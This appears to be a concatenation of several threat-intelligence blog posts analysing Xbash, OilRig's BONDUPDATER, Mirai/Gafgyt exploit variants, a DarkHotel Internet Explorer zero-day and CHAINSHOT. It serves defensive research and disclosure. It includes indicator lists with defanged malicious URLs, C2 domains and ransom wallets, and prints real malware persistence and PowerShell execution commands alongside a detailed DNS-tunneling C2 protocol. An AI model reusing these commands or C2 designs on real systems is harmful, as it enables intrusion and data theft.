0b9c54692d25f68ede1de47d4206ec3cd2e5836e368794eccb3daa632334c641  Xbash

dbc380cbfb1536dfb24ef460ce18bccdae549b4585ba713b5228c23924385e54  xapache

5b790f02bdb26b6b6b270a5669311b4f231d17872aafb237b7e87b6bbb57426d  libhttpd

e59be6eec9629d376a8a4a70fe9f8f3eec7b0919019f819d44b9bdd1c429277c  XbashX

f808a42b10cf55603389945a549ce45edc6a04562196d14f7489af04688f12bc  XbashY

dcd37e5b266cc0cd3fab73caa63b218f5b92e9bd5b25cf1cacf1afdb0d8e76ff  rootv2.sh

de63ce4a42f06a5903b9daa62b67fcfbdeca05beb574f966370a6ae7fd21190d  lowerv2.sh

09968c4573580398b3269577ced28090eae4a7c326c1a0ec546761c623625885  rootv2.sh

a27acc07844bb751ac33f5df569fd949d8b61dba26eb5447482d90243fc739af  r88.sh

 

Samples for Windows

f888dda9ca1876eba12ffb55a7a993bd1f5a622a30045a675da4955ede3e4cb8  tt.txt

31155bf8c85c6c6193842b8d09bda88990d710db9f70efe85c421f1484f0ee78  tg.jpg

725efd0f5310763bc5375e7b72dbb2e883ad90ec32d6177c578a1c04c1b62054  reg9.sct

d7fbd2a4db44d86b4cf5fa4202203dacfefd6ffca6a0615dca5bc2a200ad56b6  m.png

ece3cfdb75aaabc570bf38af6f4653f73101c1641ce78a4bb146e62d9ac0cd50  tmp.jpg

 

Downloading URLs

hxxp://3g2upl4pq6kufc4m[.]tk/zlibx

hxxp://e3sas6tzvehwgpak[.]tk/XbashY

hxxp://3g2upl4pq6kufc4m[.]tk/XbashY

hxxp://3g2upl4pq6kufc4m[.]tk/xapache

hxxp://3g2upl4pq6kufc4m[.]tk/libhttpd

hxxp://xmr.enjoytopic[.]tk/l/rootv2.sh

hxxp://xmr.enjoytopic[.]tk/l2/rootv2.sh

hxxp://xmr.enjoytopic[.]tk/l/r88.sh

hxxp://xmr.enjoytopic[.]tk/12/r88.sh

hxxp://e3sas6tzvehwgpak[.]tk/lowerv2.sh

hxxp://3g2upl4pq6kufc4m[.]tk/r88.sh

hxxp://e3sas6tzvehwgpak[.]tk/XbashY

hxxp://e3sas6tzvehwgpak[.]tk/XbashX

hxxp://png.realtimenews[.]tk/m.png

hxxp://daknobcq4zal6vbm[.]tk/tt.txt

hxxp://d3goboxon32grk2l[.]tk/reg9.sct

 

Domains for C2 Communication

ejectrift.censys[.]xyz

scan.censys[.]xyz

api.leakingprivacy[.]tk

news.realnewstime[.]xyz

scan.realnewstime[.]xyz

news.realtimenews[.]tk

scanaan[.]tk

scan.3g2upl4pq6kufc4m[.]tk

scan.vfk2k5s5tfjr27tz[.]tk

scan.blockbitcoin[.]tk

blockbitcoin[.]com

 

IPs for C2 Communication

142.44.215[.]177

144.217.61[.]147

 

URLs for C2 Domain Updating

hxxps://pastebin[.]com/raw/Xu74Mzif

hxxps://pastebin[.]com/raw/rBHjTZY6

 

Bitcoin Wallet Addresses in Ransom Messages

1Kss6v4eSUgP4WrYtfYGZGDoRsf74M7CMr

1jqpmcLygJdH8fN7BCk2cwwNBRWqMZqL1

1ExbdpvKJ6M1t5KyiZbnzsdQ63SEsY6Bff

 

Email Addresses in Ransom Messages

backupsql@protonmail[.]com

backupsql@pm[.]me

backupdatabase@pm[.]me

OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government

Posted on by Kyle Wilhoit

The OilRig group has been active since at least mid-2016, and continues their attack campaigns throughout the Middle East, targeting both governmental agencies and businesses on an almost routine basis. Often preferring homegrown tools and malware, OilRig continually modifies their malware and tools to accomplish their objectives. In August 2018, Unit 42 observed OilRig targeting a government organization using spear-phishing emails to deliver an updated version of a Trojan known as BONDUPDATER. BONDUPDATER is a PowerShell-based Trojan first discovered by FireEye in mid-November 2017, when OilRig targeted a different Middle Eastern governmental organization.

The BONDUPDATER Trojan contains basic backdoor functionality, allowing threat actors to upload and download files, as well as the ability to execute commands. BONDUPDATER, like other OilRig tools, uses DNS tunneling to communicate with its C2 server. During the past month, Unit 42 observed several attacks against a Middle Eastern government leveraging an updated version of the BONDUPDATER malware, which now includes the ability to use TXT records within its DNS tunneling protocol for its C2 communications.

 

A New Series of Attacks

In mid-August, the Oilrig threat group sent what appeared to be a highly targeted phishing email to a high-ranking office in a Middle Eastern nation. The email had no subject and what initially drew our attention to this attack was the content of the spear phishing email.

Oilrig_1

Figure 1. Spear phishing email sent by the Oilrig threat group

Attached to the email was a malicious document named “N56.15.doc” (SHA256: 7cbad6b3f505a199d6766a86b41ed23786bbb99dab9cae6c18936afdc2512f00) which contained a macro that attempted to install a new version of the BONDUPDATER Trojan.

Oilrig_2

Figure 2. Microsoft Word document with embedded macros and PowerShell

Updated BONDUPDATER

The spear-phishing email had an attached Microsoft Word document that contained a macro responsible for installing a new variant of BONDUPDATER. The macro begins this installation process by creating two files on the system at the following location:

C:\ProgramData\WindowsAppPool\AppPool.vbs (SHA256: c0018a2e36c7ef8aa15b81001a19c4127ad7cd21ae410c1f854e5dadfa98b322)

C:\ProgramData\WindowsAppPool\AppPool.ps1 (SHA256: d5c1822a36f2e7107d0d4c005c26978d00bcb34a587bd9ccf11ae7761ec73fb7)

 

The macro finishes by running the dropped VBScript "AppPool.vbs" file by running "wscript C:\ProgramData\WindowsAppPool\AppPool.vbs". When first executed, the "AppPool.vbs" file will create the following scheduled task to execute every minute, which provides BONDUPDATER persistence and the ability to continually run on the system as the Trojan does not have a main loop to carry out its functionality:

 

cmd.exe /C schtasks /create /F /sc minute /mo 1 /tn "\WindowsAppPool\AppPool" /tr "wscript /b "C:\ProgramData\WindowsAppPool\AppPool.vbs""

 

After creating the scheduled task, the VBScript will execute the "AppPool.ps1" script dropped by the macro using the following command line:

PowerShell.exe -exec bypass -file C:\ProgramData\WindowsAppPool\AppPool.ps1

Subsequent executions of "AppPool.vbs" will check for the existence of a file named "quid", which, if present, will also use the above PowerShell script to run "AppPool.ps1". The PowerShell script creates the "quid" file upon its first execution to avoid creating multiple scheduled tasks.

The "AppPool.ps1" file is a PowerShell script that is a variant of the BONDUPDATER payload. BONDUPDATER, like other OilRig payloads, uses DNS tunneling to communicate with its C2 server. This variant of the BONDUPDATER Trojan has a new lock file, which involves creating a lock file at the following location which will write the current PowerShell process identifier (PID) to this file:

C:\ProgramData\WindowsAppPool\lock

The purpose of this lock file is to only have one instance of the Trojan running at one time. However, it also uses this lock file to determine how long the PowerShell process has been executing, as it checks the creation time of the file lock against the current time to determine if the PowerShell process has been running for more than ten minutes. If it has, the script will stop the process based on the PID in the lock file and delete the lock file. Future executions of the PowerShell script will fully execute as the lock file will no longer exist on the system. This suggests the threat actors may have experienced issues with this Trojan running for extended periods in the past, likely related to the communication loops that we will discuss later.

This BONDUPDATER variant also creates the following file that it will use to store a unique identifier for the system, which is generated by obtaining a random number between 10 and 99 and appending the first 8 characters of a generated GUID:

C:\ProgramData\WindowsAppPool\quid

The BONDUPDATER Trojan then creates several folders that it will use to store files it receives from the C2 server and files that it generates or gathers to send to the C2 server. The folder names are:

 C:\ProgramData\WindowsAppPool\files

C:\ProgramData\WindowsAppPool\<unique ID from quid file>\receivebox

C:\ProgramData\WindowsAppPool\<unique ID from quid file>\sendbox

C:\ProgramData\WindowsAppPool\<unique ID from quid file>\done

Even though the script creates the "files" folder, it does not appear that the Trojan uses these folders within the code. The Trojan uses the "receivebox" folder to store files obtained from the C2 server, while the "sendbox" folder is used to store files that the Trojan will upload to the server. The Trojan uses the filenames of the file received from the C2 server stored in the "receivebox" folder to determine how to handle the file, which is explained below.

 

The BONDUPDATER sample retains its original command handling and C2 communication functionality. This process involves communicating with the C2 server to receive a file and using a character in the filename as the command. The Trojan's command handler checks the trailing character of the filename to process the file contents, which can be seen in Table 1.

 

Trailing Character/Command Purpose Description
0 Execute command Reads the contents of the file and runs them as a command with "cmd.exe". The output of the command is saved to a file whose name starts with "proc" and is stored in the "sendbox" folder, which the Trojan will send to the C2 server.
1 Download file Reads the contents of the file for a path to a file to download. Copies the specified file to a file in the "sendbox" folder for the Trojan to send to the C2 server.
Any other character Upload file Used to store a file on the system. The file is moved to the "done" folder, which stores the file for future use. The Trojan writes "200<>[path to stored file]" to a file in the "sendbox" folder to notify the C2 that the file was downloaded successfully.

Table 1 Commands available in BONDUPDATER and their purpose

After handling the command, BONDUPDATER will send files it saved in the "sendbox" folder to the C2 server, after which it terminates and relies on the scheduled task to run again in the future.

As discussed above, the BONDUPDATER Trojan uses a DNS tunneling protocol to receive files from the C2 server for processing. This particular BONDUPDATER sample includes two different variations of the DNS tunneling protocol, one using DNS A records, and one using DNS TXT records to transmit data from the C2 to the Trojan. The use of TXT records for C2 communications appears to be a new feature to the BONDUPDATER Trojan.

The DNS tunneling protocol uses carefully crafted subdomains sent to the authoritative name server of the C2 domain, which in this specific sample was the domain "withyourface[.]com". The Trojan generates subdomains differently when it sends data to the C2 compared to when it is looking to receive data from the C2, regardless of which DNS tunneling protocol is used for communications. The format of the generated domains for both sending and receiving starts with the previously generated GUID created to uniquely identify the system. However, the Trojan inserts a part number value and an action type character into this GUID string at random offsets. The part number value is a three-digit string that corresponds to the chunk of data the Trojan is attempting to transmit. The action type is a single character that notifies the C2 the type of communication the Trojan is carrying out. The two static characters "C" and "T" in the subdomain surround two digits, which help the C2 server find the part number and action type mixed in within the GUID string at random offsets.

 

Sending data format

<GUID with part number and action character><sequence number><between 1 and 7 random characters>C<index of part number><index of action>T.<data chunk>.<filename>.<c2 domain>

Receiving data format

<GUID with part number and action character><sequence number><between 1 and 7 random characters>C<index of part number><index of action>T.<c2 domain>

 

Depending on whether the C2 communications use DNS A or TXT records, different action types are used when generating the subdomains to notify the C2 what format to use to respond. Table 2 shows action types used in outbound requests and the purpose of the request.

 

Action Type A/TXT Communications Description
M A/TXT Initial beacon
0 A Provide filename
1 A Provide data
W TXT Provide filename
D TXT Provide data
P TXT TXT method failed, notify C2 to switch to A records

Table 2 Action types used within the DNS tunneling protocol and their purpose

For example, the Trojan will begin communicating with its C2 server by sending an initial beacon with the action character "M". This initial beacon will follow the receiving format, as seen in the following example:

Oilrig_3

Figure 3. Example domain for the C2 beacon with its format explained

The offset to the part number and action type in the GUID above may not seem correct at first, as the action type does not appear to be at offset 8 in the string. However, this is correct, as the action type is inserted at offset 8 before the part number was inserted at offset 3. Therefore, we believe the C2 server just adds the two offsets together to find the actual location of the action type in the string.

 

Original Data Transfer using DNS Tunneling

The original data transfer process within BONDUPDATER looked for specific A records within answers to DNS queries, shown in Table 3. The Trojan processed the A records in the C2 response to obtain a filename, which specifically looks for an IPv4 address within the A record with "24.125" in the first two octets. The Trojan appends the remaining two octets of this A record to the string "rcvd" and uses this as the filename to save future data to in the "receivebox" folder. This IP address also instructs the Trojan to treat following DNS A records as data. The following DNS A records are split on the "." and each of the first three octets are treated as data, whereas the fourth octet is used as a counter to obtain the correct chunk of data. Lastly, the Trojan looks for the A record "1.2.3" as a signal to write the provided data to the specified file, which is then subjected to the previously mentioned file-based command handler.

 

IP Address Description
24.125.\d.\d Sets the filename "rcvd\d\d" in the "receivebox" to store data for processing
\d.\d.\d.\d First three \d are treated as data and the fourth is used to keep track of the sequence
1.2.3.\d Instructs the Trojan to write the data to the file and begin processing it for commands.

 

Table 3 IP Addresses and their meanings within the original data transfer process in BONDUPDATER

New Data Transfer using DNS Tunneling

This BONDUPDATER sample has a new method to obtain files from the C2 server using a series of DNS TXT queries. This method follows a similar process as the original method but uses DNS TXT results to obtain a filename and the data to write to the file. Once data is written to the file system, this method uses the same command handler as the original method to process the contents of the file based on the trailing character of the filename, as seen in Table 1.

The C2 can initiate the new command handling functionality by responding to the initial beacon with a DNS A record of "99.250.250.199". The script will enter a loop attempting to communicate with its C2 every 50 milliseconds, looking for a series of responses with specific characters that the script will use as instructions to determine how to handle the result of the TXT record, which can be seen in Table 4. The Trojan will split each TXT record from the C2 response on the character ">", with the data to the left of the ">" character used as the instruction and the data to the right as the data.

 

Instruction Description
N Idle. Set action type of next query to "W"
S Receive data from C2. Decode data portion as base64. Sets the action type of future queries to the C2 to "D".
S000s Use data to as a portion of the filename to save data to. The data is appended to the string "rcvd", which will be saved in the "receivebox" folder. Sets the action type of future queries to the C2 to "D".
E Write bytes provided by the "S" command to the file resulting from the "S000s" command. The breaks the loop for the script to process the downloaded file.
C Cancel communications by exiting the loop.

Table 4 Instructions within the new data transfer process in BONDUPDATER and their meanings

While we have not seen the C2 use this TXT record-based communications, we believe the process would involve the C2 providing a TXT record with the "S000s" instruction to set the filename to which data is saved. The C2 would then provide a series of "S" instructions to provide data, followed by the "E" instruction to write that data to the file, which would then be subjected to the command handler.

 

Conclusion

As expected, OilRig is continuing their onslaught of attacks well into 2018 with continued targeting in the Middle East. Sometimes developing new tools, OilRig also often uses what has worked in the past, including developing variants of previously used tools and malware. This reduces development time and capitalizes on previous versions of the tool and its success.

Oilrig is a highly diverse and very resourceful threat actor, employing a litany of methods and tools to compromise victims, but Palo Alto Networks customers are protected from this OilRig attack and BONDUPDATER by:

  • AutoFocus customers can track this Trojan with the Bondupdater_Docs tag
  • All known BONDUPDATER document samples are marked with malicious verdicts in WildFire
  • All known BONDUPDATER document C2 domains have DNS signatures and are classified as Command and Control

 

Indicators

BONDUPDATER C2

withyourface[.]com

 

BONDUPDATER Dropper Docs

7cbad6b3f505a199d6766a86b41ed23786bbb99dab9cae6c18936afdc2512f00

c0018a2e36c7ef8aa15b81001a19c4127ad7cd21ae410c1f854e5dadfa98b322

d5c1822a36f2e7107d0d4c005c26978d00bcb34a587bd9ccf11ae7761ec73fb7

Multi-exploit IoT/Linux Botnets Mirai and Gafgyt Target Apache Struts, SonicWall

Posted on by Ruchna Nigam

Executive Summary:

Unit 42 has uncovered new variants of the well-known IoT botnets Mirai and Gafgyt. These are the IoT botnets associated with unprecedented Distributed Denial of Service attacks in November 2016 and since.

These variants are notable for two reasons:

  • The new Mirai version targets the same Apache Struts vulnerability associated with the Equifax data breach in 2017.
  • The new Gafgyt version targets a newly disclosed vulnerability affecting older, unsupported versions of SonicWall’s Global Management System (GMS).

These developments suggest these IOT botnets are increasingly targeting enterprise devices with outdated versions.

All organizations should ensure they keep not only their systems up-to-date and patched, but also their IoT devices. For Palo Alto Networks customers, WidlFire detects all related samples with malicious verdicts. Additional protections are noted in the conclusion below.

 

Research:

On September 7, 2018, Unit 42 found samples of a Mirai variant that incorporates exploits targeting 16 separate vulnerabilities. While the use of multiple exploits within a single sample of Mirai has been observed in the past, this is the first known instance of Mirai targeting a vulnerability in Apache Struts.

In addition, Unit 42 found the domain that is currently hosting these Mirai samples previously resolved to a different IP address during the month of August. During that time this IP was intermittently hosting samples of Gafgyt that incorporated an exploit against CVE-2018-9866 a SonicWall vulnerability affecting older versions of SonicWall Global Management System (GMS). SonciWall has been notified of this development.

The incorporation of exploits targeting Apache Struts and SonicWall by these IoT/Linux botnets could indicate a larger movement from consumer device targets to enterprise targets.

 

Apache Struts exploit in multi-exploit Mirai variant

The exploit targeting Apache Struts in the new variant we found targets CVE-2017-5638, an arbitrary command execution vulnerability via crafted Content-Type, Content-Disposition, or Content-Length HTTP headers. Its format can be seen in Figure 1, with the payload highlighted.

 

SonicWall1

Figure 1 CVE-2017-5638 exploit format

 

The other 15 exploits incorporated in this Mirai variant are detailed in Table 2 in the Appendix below.

While these samples are variants of Mirai, they don’t include the bruteforce functionality generally used by Mirai. They use l[.]ocalhost[.]host:47883 as C2, and the same encryption scheme as Mirai with the key 0xdeadf00d.

 

 

SonicWall GMS exploit in Gafgyt variant

The domain l[.]ocalhost[.]host used for C2 and to serve payloads in the Mirai variant discussed above, has also been found associated with other Mirai activity in the past as far back as November 2016.

For part of the month of August 2018, that same domain resolved to a different IP address 185[.]10[.]68[.]127. At that time we found that IP hosting samples of Gafgyt containing an exploit for a recently disclosed SonicWall vulnerability (CVE-2018-9866) affecting older, unsupported versions of SonicWall Global Management System (GMS) (8.1 and older) that is not present in currently supported versions.

The vulnerability CVE-2018-9866 targeted by the exploit stems from the lack of sanitization of XML-RPC requests to the set_time_config method. Figure 2 shows the exploit used in the sample, with the payload highlighted.

SonicWall2

Figure 2 SonicWall set_time_config RCE format

 

These samples first surfaced on August 5, less than a week after the publication of a Metasploit module for this vulnerability. The SonicWall public advisory on the issue published on July 17, 2018, can be found here.

The samples we found are built using the Gafgyt codebase rather than Mirai. Some of the commands supported are described in the table below.

 

Command Description
!* SCANNER <HUAWEI/GPON/DLINK/SONICWALL/OFF> Based on arguments provided, the bot starts sending the associated exploit to devices.

·      HUAWEI: Send CVE-2017-17215 (See previous campaigns)

·      GPON: Same as above

·      DLINK: Send D-Link DSL 2750B OS Command Injection (see Table 2)

·      SONICWALL: Send exploit in Figure 2.

·      OFF: kills the running process associated with the bot
!* BIN_UPDATE <HTTP SERVER> <FILE LOCATION> Fetches an update from <HTTP_SERVER>, saves it to <FILE_LOCATION>, installs update
!* BN <IP> <PORT> <TIME> Launch a Blacknurse DDoS attack against <IP>:<PORT> for a duration of <TIME> seconds

Table 3 Some commands supported by variant with SonicWall exploit

 

Blacknurse is a low bandwidth DDoS attack involving ICMP Type 3 Code 3 packets causing high CPU loads first discovered in November 2016. The earliest samples we have seen supporting this DDoS method are from September 2017.

 

Conclusion

The incorporation of exploits targeting Apache Struts and SonicWall by these IoT/Linux botnets could be an indication of a larger movement from consumer device targets to enterprise targets.

Palo Alto Networks AutoFocus customers can track these activities using individual exploit tags:

AutoFocus customers can also use the following malware family tags:

WildFire detects all related samples with malicious verdicts.

 

Here is a list of other vulnerabilities targeted in the Mirai variant targeting Apache Struts:

Vulnerability Affected Devices Exploit Format
CVE-2017-5638, Devices with unpatch Apache Struts
Linksys RCE Linksys E-series devices
 

The samples contain other versions of the same exploit using GET and POST requests, aimed at

 
Vacron NVR RCE Vacron NVR Devices Similar to previous campaigns

 

This variant also contains a POST request version of the same exploit :

 
D-Link command.php RCE Some  D-Link devices

 
CCTV/DVR RCE CCTVs, DVRs from over 70 vendors Similar to previous campaigns

 
EnGenius RCE EnGenius EnShare IoT Gigabit Cloud Service 1.4.11

 
AVTECH  Unauthenticated Command Injection AVTECH IP Camera/NVR/DVR Devices

 
CVE-2017-6884 Zyxel routers

 
NetGain ‘ping’ Command Injection NetGain Enterprise Manager 7.2.562

 
NUUO OS Command Injection NUUO NVRmini 2 3.0.8

 
NUUOS OS Command Injection NUUO NVRmini 2 3.0.8

 
Netgear setup.cgi unauthenticated RCE DGN1000 Netgear routers Similar to previous campaigns
HNAP SoapAction-Header Command Execution D-Link devices Similar to previous campaigns

This variant uses an effective version of the exploit as opposed to the faulty one used in the campaigns linked above i.e. it targets SOAPAction: http://purenetworks[.]com/HNAP1/GetDeviceSettings/
D-Link OS Command Injection D-Link DSL-2750B Similar to previous campaigns
JAWS Webserver authenticated shell command execution MVPower DVRs, among others Similar to previous campaigns
CVE-2018-10561, CVE-2018-10562 Dasan GPON routers Similar to previous campaigns

 

This variant also includes a POST request version of the same exploit

Table 2 Other exploits used in the same sample

 

Indicators of Compromise

Samples with Apache Struts exploit CVE-2017-5638

d6648a36f55d6b8ffd034df7d04156d31411719ce9bc28e6d30c8427feacb397

710d56a90b5f61c7ae82fcf305d23d48476e4f237ffff9d68b961171f168f255

52274c46933c20aaf64fd4c11557143fcfdc76eef192743fafd1b3a8bed3f4d2

078eef70d754e9b64bc783f085846a2e8ae419653a79ed2386c4ade86fde68cb

ef090093496ccdab506848166a07554bfa74eb98a0546171b84fc73861f67c79

49cdb537f5e4081362545532a623f597212c8cea847cf9f2b2f1fe1f3cd0ec2f

99c22a0c0e252ab123fb3167f49d94dc12960b79565ca6dfd28f2ff5b0346348

ae2354a5d8b84fb6ea6fc4b9ca3060959d5c0c77684cd2100731df2a3c7a204e

1913cf8e65114136cc309e72c384b717f0aeaaeae0c040188648c4afebce1669

 

Samples with Sonicwall GMS exploit CVE-2018-9866

1814c010f5e7391c7ea38850f9caf0771866e315f8d0c58c563818e71d30c208

29540468514cd48b6c2571722018dffb49d12f99c95b248a44a1455fff01acfb

39891a1c13e4e6ec9de410201f697d23c05e83a29ec0010c6c62c6829386e6a6

596270e91ccee3ec04a552bafde586af127ecac7141852edb9707ac6c4779a99

68b27935c7d064478339f7d95b57ff06ffa1efbd81009b4a2870c5cf3e0b0b35

92a4c6ae034c3a03c21b74bdc00264192e60a85deedd90b99a3e350758eb85c1

aab0ec600cdf57f28f9480ff3a9d3547f699af005c015b74c5c9e39a992570b6

d8fbf6d68993045b4840729c788665ab10c50c42b27246a290031664f3b956eb

dafe1b513183902692c8ba8b2a95fede7c13937e49bf21294de448df05edff18

f89d742c4d3312ac9bd707a9135235482c554e369cb646dcd97f6a14b4210136

fab034d705b3ad7a10101858daf5da93a88f8bfd509dee9b8072678b27290ed3

 

Infrastructure

l[.]ocalhost[.]host

185[.]10[.]68[.]213

185[.]10[.]68[.]127

 

Traps Prevents In-The-Wild VBScript Zero-Day Exploit in Internet Explorer

Posted on by Tomer Harpaz

On August 15, Trend Micro published a blog post detailing a high-risk vulnerability in the VBScript Engine of Microsoft Internet Explorer being exploited in-the-wild (CVE-2018-8373). This vulnerability still affects endpoints running the latest versions of Internet Explorer and Windows which do not have the relevant patches applied.

The exploit was served on a malicious web host: hxxp://windows-updater[.]net/realmuto/wood.php?who=1?????? which was linked to the DarkHotel APT campaign by Qihoo 360, and this actor also exploited another VBScript vulnerability earlier this year (CVE-2018-8174). The preliminary payload was also analyzed thoroughly by Qihoo 360, and is dubbed zlib1.dll.

 

traps prevents 1

Figure 1. The attack flow as observed in the malicious sample

 

In Figure 1 we show the attack flow as observed in the malicious sample. First, the victim browses to the exploit URL in the malicious web host (1). The returned webpage contains malicious VBScript which exploits a UAF in vbscript.dll. This exploit implements a RW primitive, uses it to locate and leak the addresses of exported functions, creates a fake CONTEXT structure, and then uses NtContinue to jump to VirtualProtect on the shellcode and directly return to it afterwards (2). The exploitation phase is thoroughly analyzed in Trend Micro’s post.

The shellcode then proceeds to download an initial payload (DLL) from the same malicious web host (hxxp://windows-updater[.]net/realmuto/wood.php?var=xxx&name=dr.john&q=yyy&d=z) to a temporary file (3), decode it to another temporary file (4) and load it using LoadLibrary (5).

On x86 systems, this payload drops itself to %ALLUSERSPROFILE%\zlib1.dll (6), implements a UAC-bypass using mmc.exe (7) and then re-runs itself using rundll32.exe (8). On x64 systems, it runs its main logic directly from iexplore.exe.

The main logic of the initial payload sends the infected computer configuration and downloads a secondary payload from the same host: hxxp://windows-updater[.]net/dragon/config-donkey.php?inst=xxx&name=yyy (9), decodes it and reflectively loads it (10).

We were not able to retrieve samples of the secondary payload for further analysis.

 

How Traps Prevents this Threat

Palo Alto Networks Traps advanced endpoint protection offers multiple layers of malware and exploit prevention to protect against such complex threats.

Traps prevents a few different and independent techniques of the described exploit using its anti-exploit capabilities. In addition, Traps malware examination flow and local analysis via machine learning, and WildFire integration also prevents the malicious payload from executing at different phases of the attack. In Figure 1 we have marked with the Traps logo different points in the exploitation flow in which Traps would have prevented the attack flow from going forward.

Moreover, even older versions of Traps released years ago would have prevented this exploit from running without applying any special configuration or policy updates.

AutoFocus customers can track this actor via the DarkHotel tag.

Slicing and Dicing CVE-2018-5002 Payloads: New CHAINSHOT Malware

Posted on by Dominik Reichel

This story begins with one of our blog authors, who, following the discovery of a new Adobe Flash 0-day, found several documents using the same exploit that were used in targeted attacks. We were also able to collect network captures including the encrypted malware payload. Armed with these initial weaponized documents, we uncovered additional attacker network infrastructure, were able to crack the 512-bit RSA keys, and decrypt the exploit and malware payloads. We have dubbed the malware ‘CHAINSHOT’, because it is a targeted attack with several stages and every stage depends on the input of the previous one.

This blog describes the process we took to analyze the malware, how we managed to decrypt the payloads, and then how we found parts of a new attack framework. We also found additional network infrastructure which indicates similar attacks were conducted against a wide range of targets with disparate interests. This attack chain is designed in a way that makes it very difficult to execute a single part on its own, be it the exploit or payload. To make our analysis easier, we reproduced the server-side infrastructure, by doing so we were able to conduct dynamic analysis and get a better understanding how the exploit and payload work together.

This serves as a follow-up of Icebrg’s article which describes the initial findings.

 

Cracking a RSA Key

First, let’s recap how the overall attack chain works to understand at which point the RSA key is needed. The malicious Microsoft Excel document contains a tiny Shockwave Flash ActiveX object with the following properties:

slicing_1

Figure 1. Malicious Shockwave Flash ActiveX object properties

The “Movie” property contains a URL to a Flash application which is downloaded in cleartext and then executed. The “FlashVars” property contains a long string with 4 URLs which are passed to the downloaded Flash application. The Flash application is an obfuscated downloader which creates a random 512-bit RSA key pair in memory of the process. While the private key remains only in memory, the public keys’ modulus n is sent to the attacker’s server. On the server side, the modulus is used together with the hardcoded exponent e 0x10001 to encrypt the 128-bit AES key which was used previously to encrypt the exploit and shellcode payload. The encrypted exploit or payload is sent back to the downloader which uses the in-memory private key to decrypt the AES key and the exploit or payload.

As the modulus is sent to the server of the attacker, it’s also in our network capture. Together with the hardcoded exponent we have the public key which we can use to get the private key. Keep in mind that this was only possible because the attacker chose a key length of 512-bit which is known to be insecure. In order to do so, we have to factorize the modulus n into its two prime numbers p and q. Luckily this problem has already been solved previously, by an awesome public project ‘Factoring as a Service‘. The project uses Amazon EC2’s high computing power and can factorize large integers in just a matter of hours.

Following this logic, let’s take the following modulus of the public key sent to the attacker’s server to get the shellcode payload.

slicing_2

Figure 2. HTTP POST request for the encrypted shellcode payload with the modulus n in hexadecimal

After removing the first 2 bytes which are used in this case to retrieve the 32-bit version of the shellcode payload, we have the following modulus in hexadecimal:

After we have factorized the integer, we get the following two prime numbers in decimal:

P

Q

With the help of p and q we can calculate the private key. We used a small public tool to create it in Privacy Enhanced Mail (PEM) format:

With the help of the private key we could now decrypt the 128-bit AES key. We used OpenSSL to do this:

The encrypted AES key is extracted from the encrypted binary blob as described by Icebrg. It's at offset 0x4 and has the length of 0x40 bytes. Encrypted AES key:

Decrypted AES key:

Now that we have the decrypted AES key, we can decrypt the actual payload. The Flash downloader uses a custom initialization vector (IV) for the AES algorithm which can be found at offset 0x44 in the encrypted blob and is 16 bytes long:

For the final decryption we used OpenSSL again:

The decrypted shellcode payload is additionally compressed with zlib which can be seen by looking at the first 2 magic bytes 0x789C. We decompressed it with Offzip. Finally, we have the decrypted shellcode payload. The same procedure can be used to decrypt the Flash exploit which isn’t additionally zlib compressed.

 

Server-side Reproduction

After we had the decrypted Flash exploit and shellcode payloads, we started to do a static analysis which turned out to be a quite tedious task. This is due to the obfuscation in the exploit and the complexity of shellcode payload which contains its own two PE payloads. Next, we attempted to do a dynamic analysis which quickly turned out to be impossible, because every stage relies on data passed from the previous. The shellcode payload does not execute properly without the data passed to it from the exploit. The exploit does not execute on its own without the variables passed from the downloader and so on.

Due to the difficulties of analyzing the code statically, we decided to reproduce a simplified version of the server-side PHP scripts in order to make a full dynamic analysis possible. As we had the decrypted exploit, shellcode payload and the PCAP, we had all the information required to do so. Specifically, we created the following setup:

  • Local Apache server with XAMPP, with the domain used in the attack configured to resolve to localhost
  • A directory structure which mirrored that on the attackers’ servers (as specified in the PCAPs)
  • Setting of custom HTTP headers as per the PCAPs’ responses.

All of the requested files are sent back gzip encoded, otherwise the attack chain doesn’t work. We have uploaded the PHP scripts to our GitHub account, so you can also play with the different stages and see how it works.

 

Additional Details of the Flash Exploit

While the exploit has been already described, we want to give some additional details surrounding it that we found during our analysis. In particular, we were interested in the part which transfers execution to the shellcode payload. While most parts of the decompiled ActionScript exploit code are obfuscated, luckily some method names were left in cleartext.

Because the decrypted shellcode payload doesn’t run on its own when transformed into an executable, we have to figure out how execution works and if one or more parameters are passed. Therefore, the most interesting method for us is “executeShellcodeWithCfg32” which indicates we can find the passed data in it. It creates a small shellcode template and fills some placeholder values at runtime. The disassembled template looks as follows:

slicing_3

Figure 3. Shellcode template with placeholders (red) in the Flash exploit to pass execution to the shellcode payload

While the final prepared shellcode looks as follows:

slicing_4

Figure 4. Runtime version of the shellcode template with filled placeholders

Let’s take a look at what values are set to the placeholders (0x11111111, 0x22222222, …). The address 0xA543000 in Figure 4 is the entrypoint of the decrypted shellcode payload which has a small NOP sled in front of the actual code:

slicing_5

Figure 5. Entrypoint of the shellcode template in memory

 

The address 0x771A1239 in Figure 4 is in the middle of the function NtPrivilegedServiceAuditAlarm in ntdll.dll:

slicing_6

Figure 6. Windows API function NtPrivilegedServiceAuditAlarm

 

However, we can also see in Figure 4 that before calling the API function via “call edx”, the value 0x4D is moved into eax which is the ID of the API function NtProtectVirtualMemory. By doing so, the function NtProtectVirtualMemory is executed without calling it directly. This trick is likely used to bypass AVs/sandboxes/anti-exploit software which hook NtProtectVirtualMemory and the attacker probably chose NtPrivilegedServiceAuditAlarm as a trampoline as it’s unlikely to be ever be monitored.

The data at this address 0x9DD200C in Figure 4 looks like a structure into which the last NTSTATUS return value of NtProtectVirtualMemory is copied. The address of this structure seems to be passed to the shellcode payload in ebx, however we haven’t figured out what’s its purpose is. Finally, shellcode payload is executed via “call edi”

To sum up, the memory access rights of the shellcode payload are changed in 0x1000 byte blocks to RWE via NtProtectVirtualMemory. The last NTSTATUS code is saved into memory pointed to by ebx and the shellcode payload is executed.

Another interesting aspect of the exploit code is that it sends status messages when something goes wrong at every stage of the exploitation. These status messages are very similar to those send by the initial Flash downloader and are sent to the attacker’s server via fake PNG files (see Icebrg). They also contain the “/stab/” directory in the URL and the actual message is also sent encoded via custom digit combinations. However, the status message of the exploitation code contains additional information in the form of abbreviations of the appropriate stage. By looking at those messages, we can get a better understanding how the exploit works. The following messages are possible:

 

Status message code  Description
2-0-9-vp Short for VirtualProtect
2-0-9-g3 Short for something like gadget3 (ROP gadget) cause a byte array is created 0x5A5941584159C3 which disassembles to:

pop edx

pop ecx

inc ecx

pop eax

inc ecx

pop ecx

retn
2-0-9-RtlAllocateHeap Self-explaining
